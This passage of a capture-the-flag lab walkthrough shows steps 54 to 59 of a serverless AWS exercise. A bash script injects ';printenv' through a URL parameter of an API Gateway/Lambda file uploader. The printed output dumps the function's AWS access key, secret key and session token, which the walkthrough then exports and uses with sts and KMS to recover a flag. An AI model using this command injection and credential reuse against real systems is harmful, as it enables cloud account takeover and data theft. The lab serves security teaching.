root@attackdefense:~# cat attack.sh
#!/bin/bash

for i in {1..100}
do
    output=$(curl 'https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1/?resourceurl=www.pentesteracademy.com%3Bprintenv&username=welcome&password=welcome' -s)
    if [ $(echo $output | grep '{"Upload Status":"ok"}' | wc -l) -eq 0 ];
    then
        echo $output | jq '"File Content"' -r | grep AWS
        break
    fi
done

root@attackdefense:~#

```

When the response does not contain the exact string '"{"Upload Status":"ok"}"', use jq to extract the "File Content" value and filter the lines which contain "AWS" in it. The AWS Access Key, Secret Key and Session token environment variable will start with an "AWS" string.

Step 55: Make the script executable and execute it.

Commands:

```
chmod +x attack.sh
```

```
./attack.sh
```

```
root@attackdefense:~# ./attack.sh
</html>AWS_LAMBDA_FUNCTION_VERSION=1
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEAgADmFwLXNvdXR0ZWFzdC0xIkcwRQIgMxrTImSwxeANw3CdbDdjF0OEPPZ57Ud+SEMFwHyMzfACIQDGXPmRCRMM4
5WS4xdYuyn2A5z6l+fRY4DV08sj1UL3BCrLAQhxEAAaDDI3NjM4NDY1NzcyMiIM5sjn56yN8Myb8CB+KqgBAmqvcF+yA6qeoy/WxZS8oNBzSa277oRvEUbb7hFO
LJoQAEdkpOIjXAGaoDmGaz4yp6Ti67ORIl7a7oxUzCSO+j1pHM+ULZiLKks9gYPI7qBsenE6FfxrajTcmvgWszu0h2PP9d0nBnygSRAaUd+Gyph1+7KKF3RU8weT
2N+bkea7SypWUXLbU1kM9A6iCU/4vf0JI7hC7dfIc1BsVh4RG980VRORr13hRMKmBqf0FOuABsivgvGmn8Vd8MhCU0Zxnwo92vCYTqs8vzz4jV2DBJqBVMYr6DR
ktqcyFV1vRUuS4Y3ERSLabwd1jqvlgF0hWDMrFt5MP5/qozYXiiYssoL0ATSKjIJsCIYx45YgkJWtLbWGMWxdbAT0gmthJKGSiYIZgtFMsZv4oVvqQpVVSqRGywh
HU9CFuXHNLaX0AMsmU1NUHT8Z6dprCQOHSLLHlsXnKVUCjPV+QZqWow6u/McMng/R3guScWwARN65jaDjSl8uIewQcxapzw/aGoafqi5M046EqsjX7oJbqQG9d
N+8=
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/FileUploader
AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001
AWS_LAMBDA_LOG_STREAM_NAME=2020/11/10/[1]9077e3b5ba6d40548b43ad89ba5fb088
AWS_EXECUTION_ENV=AWS_Lambda_nodejs12.x
AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000
AWS_LAMBDA_FUNCTION_NAME=FileUploader
AWS_DEFAULT_REGION=ap-southeast-1
AWS_SECRET_ACCESS_KEY=LbYAJc6yKLPEY75qvvlI6D6Z0K3a5X15TAN7U
AWS_REGION=ap-southeast-1
AWS_ACCESS_KEY_ID=ASIAUAWOPGE5CRNURE5X
_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2
_AWS_XRAY_DAEMON_PORT=2000
AWS_XRAY_CONTEXT_MISSING=LOG_ERROR
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=128
root@attackdefense:~#
```

The AWS Access Key, Secret Key and Session Token were revealed.

Step 56: Export the environment variables.

Commands:

```
export
```

```
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEAgADmFwLXNvdXR0ZWFzdC0xIkcwRQIgMxrTImSwxeANw3CdbDdjF0OEPPZ57Ud+SEMFwHyMzfACIQDGXPmRCRMM45WS4xdYuyn2A5z6
l+fRY4DV08sj1UL3BCrLAQhxEAAaDDI3NjM4NDY1NzcyMiIM5sjn56yN8Myb8CB+KqgBAmqvcF+yA6qeoy/WxZS8oNBzSa277oRvEUbb7hFOLJoQAEdkpOIjXAGaoDmGaz4yp6Ti67ORIl7a7ox
UzCSO+j1pHM+ULZiLKks9gYPI7qBsenE6FfxrajTcmvgWszu0h2PP9d0nBnygSRAaUd+Gyph1+7KKF3RU8weT2N+bkea7SypWUXLbU1kM9A6iCU/4vf0JI7hC7dfIc1BsVh4RG980VRORr13hR
MKmBqf0FOuABsivgvGmn8Vd8MhCU0Zxnwo92vCYTqs8vzz4jV2DBJqBVMYr6DRktqcyFV1vR
```



```
UuS4Y3ERSLabwd1jqv1gF0hWDMrFt5MP5/qozYXiiYssoL0ATSKjIJsCIYx45YgkJWtLbWGMW
xdbATOgmthJKGSiYIZgtFMsZv4oVvqQpVSqRGywhHU9CFeUXHNLax0AMsmU1NUHT8Z6dpr
CQOHSLLHlsXnKVUCjPV+QZqWow6u/McMng/R3guScWWARN65jaDjSl8ulewQcxapzw/aGoa
fqj5M046EqsjX7oJbqQG9dN+8=
```

```
export AWS_ACCESS_KEY_ID=ASIAUAWOPGE5CRNURE5X
export AWS_SECRET_ACCESS_KEY=LlbYAJc6yKLPEY75qvvlil6D6ZOKr3a5X15TAN7U
```

```
root@attackdefense:~# export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEAgADmFwLXNvdXRoZWZdc0xIkcwRQIgMxRTImSwxeANw3CdbDdjF0EPPZ5
7Ud+SEMFwHyMzfACIQDGXpMRCRMM45WS4xdYuyn2A5z6L+fRY4DV08sj1UL3BCrLAQhxEAAaDDI3NjM4NDY1NzcyMiIM5sjn56yN8Myb8CB+KqgBAmqvcF+yA6q
eoy/WxZS8oNBzSa277oRvEUbb7hF0LJoQAEdkp0IjXAGaoDmGaz4yp6Ti670RiLa7oxUzCSO+j1pHM+ULZiLKks9gYPL7qBsenE6FfxrajTcmvgWszu0h2PP9d0
nBnygSRAaUd+Gyph1+7KKF3RU8weT2N+bkea7SypWUXLbU1kM9A6iCU/4vf0JI7hC7dfic1BsVh4RG980VR0RrL3hRMKmBqf0F0uABsivgvGmn8Vd8MhCU0Zxnw
o92vCYTqs8vzz4jV2DBJqBVMYr6DRktqcyFV1vRUuS4Y3ERSLabwd1jqv1gF0hWDMrFt5MP5/qozYXiiYssoL0ATSKjIJsCIYx45YgkJWtLbWGMWxdbATOgmthJ
KGSiYIZgtFMsZv4oVvqQpVSqRGywhHU9CFeUXHNLax0AMsmU1NUHT8Z6dprCQOHSLLHlsXnKVUCjPV+QZqWow6u/McMng/R3guScWWARN65jaDjSl8uIewQcxap
zw/aGoafqi5M046EqsjX7oJbqQG9dN+8=
root@attackdefense:~#
root@attackdefense:~# export AWS_ACCESS_KEY_ID=ASIAUAWOPGE5CRNURE5X
root@attackdefense:~# export AWS_SECRET_ACCESS_KEY=LlbYAJc6yKLPEY75qvvlil6D6ZOKr3a5X15TAN7U
root@attackdefense:~#
```

Step 57: Check the IAM user or role whose credentials are used for the operation.

Command: aws sts get-caller-identity

```
root@attackdefense:~# aws sts get-caller-identity
{
  "UserId": "AROAUAWOPGE5B05TPHBX5:FileUploader",
  "Account": "276384657722",
  "Arn": "arn:aws:sts::276384657722:assumed-role/FileUploader-role-l5d0qcpv/FileUploader"
}
root@attackdefense:~#
```

The credentials are of the role associated with FileUploader Function.

Step 58: Use KMS to decrypt the cipher.

Command: aws kms decrypt --ciphertext-blob fileb://cipherblob

```
root@attackdefense:~# aws kms decrypt --ciphertext-blob fileb://cipherblob
{
  "KeyId": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37",
  "Plaintext": "OWU3Zjk3OGZkMTMyNGEwOTcxNWNhYjJmOTE2ZDRhOGM=",
  "EncryptionAlgorithm": "SYMMETRIC_DEFAULT"
}
root@attackdefense:~#
```

The cipher was decrypted successfully, the base64 encoded plaintext was returned.

Step 59: Decode the base64 text.

Command: echo OWU3Zjk3OGZkMTMyNGEwOTcxNWNhYjJmOTE2ZDRhOGM= | base64 -d

```
root@attackdefense:~#  
root@attackdefense:~# echo OWU3Zjk3OGZkMTMyNGEwOTcxNWNhYjJmOTE2ZDRhOGM= | base64 -d  
9e7f978fd1324a09715cab2f916d4a8croot@attackdefense:~#  
root@attackdefense:~#
```

ServerlessFLAG7: 9e7f978fd1324a09715cab2f916d4a8c

References:

1. API Gateway (<https://aws.amazon.com/api-gateway>)
2. Lambda (<https://aws.amazon.com/lambda>)
3. AWS CLI (<https://aws.amazon.com/cli>)
4. API Gateway Reference (<https://docs.aws.amazon.com/cli/latest/reference/apigateway/>)
5. Lambda Reference (<https://docs.aws.amazon.com/cli/latest/reference/lambda>)
6. KMS Reference (<https://docs.aws.amazon.com/cli/latest/reference/kms>)